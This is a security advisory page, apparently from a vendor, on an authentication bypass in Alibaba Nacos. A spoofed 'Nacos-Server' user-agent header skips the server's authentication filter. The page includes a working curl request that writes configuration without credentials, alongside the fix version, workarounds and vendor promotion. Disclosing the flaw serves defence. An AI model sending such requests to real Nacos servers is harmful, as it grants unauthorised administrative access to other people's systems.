GHSA-36hp-jr8h-556f
Fix: alibaba/nacos#4703GHSA-36hp-jr8h-556f is a CWE-290 vulnerability in com.alibaba.nacos:nacos-common. 5 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-36hp-jr8h-556f is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Authentication Bypass
Real-World Exposure
com.alibaba.nacos:nacos-commonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.alibaba.nacos:nacos-common | all versions | 1.4.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Nacos is a platform designed for dynamic service discovery and configura…
Nacos is a platform designed for dynamic service discovery and configura…
Nacos is a platform designed for dynamic service discovery and configura…
Nacos is a platform designed for dynamic service discovery and configura…
Nacos is a platform designed for dynamic service discovery and configura…
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.alibaba.nacos:nacos-common. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update com.alibaba.nacos:nacos-common to 1.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-36hp-jr8h-556f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-36hp-jr8h-556f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-36hp-jr8h-556f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-36hp-jr8h-556f in your dependencies?
O3 detects GHSA-36hp-jr8h-556f across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.